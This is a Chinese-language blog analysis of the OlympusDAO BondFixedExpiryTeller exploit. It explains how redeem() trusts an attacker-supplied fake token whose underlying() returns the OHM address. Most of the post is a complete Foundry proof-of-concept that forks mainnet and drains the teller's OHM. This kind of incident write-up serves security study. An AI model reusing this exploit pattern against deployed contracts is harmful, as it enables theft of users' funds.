OlympusDAO事件分析
https://twitter.com/peckshield/status/1583416829237526528
通过分析交易过程,可以看到攻击合同(0xa29e4fe)先调用了BondFixedExpiryTeller 的redeem 函数,函数最终调用了ERC20代币合约 OHM 的transfer 函数,直接将OHM代币全部转移。 查看问题合约的redeem函数,发现其权限为 external ,攻击者只需要先部署合约设置函数 expiry()、burn()、underlying(),使得满足程序运行条件。因为token_.underlying() 返回的值也是可控的,攻击者直接将其设置为OHM 合约的地址,直接将代币转移。
漏洞复现代码参考:https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/OlympusDao.exp.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol"; //包括 ERC20 等常用接口
CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); //特殊含义地址,foundry固定
address constant OHM = 0x64aa3364F17a4D01c6f1751Fd97C2BD3D7e7f1D5; //定义相关合约地址
address constant BondFixedExpiryTeller = 0x007FE7c498A2Cf30971ad8f2cbC36bd14Ac51156;
interface IBondFixedExpiryTeller { //定义相关接口合约
function redeem(address token_, uint256 amount_) external;
}
contract FakeToken { //自定义利用合约,可用于后续使用 new 方法生成新合约
function underlying() external view returns(address) {
return OHM;
}
function expiry() external pure returns (uint48 _expiry) {
return 1;
}
function burn(address,uint256) external {
// no thing
}
}
contract AttackContract is Test { //攻击合约,需继承foudry Test合约
function setUp() public { //设置相关利用环境,可直接使用全局变量 vm
vm.createSelectFork("mainnet", 15794363); //选择链,设置被攻击前最近区块
cheat.label(OHM, "OHM"); //可设置相关标签,便于查看日志信息
cheat.label(BondFixedExpiryTeller, "BondFixedExpiryTeller");
}
function testExploit() public {
console.log("---------- Start from Block %s ----------", block.number); //打印日志信息
emit log_named_decimal_uint("Attacker OHM Balance", IERC20(OHM).balanceOf(address(BondFixedExpiryTeller)), 9);
address fakeToken = address(new FakeToken()); //创建新合约
cheat.label(fakeToken, "FakeToken");
// console.log("Deploy fake token on ", fakeToken);
IBondFixedExpiryTeller(BondFixedExpiryTeller).redeem(fakeToken, IERC20(OHM).balanceOf(address(BondFixedExpiryTeller)));
console.log("Redeeming");
emit log_named_decimal_uint("Attacker OHM Balance after hack", IERC20(OHM).balanceOf(address(this)), 9);
}
}
成功获取代币:
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!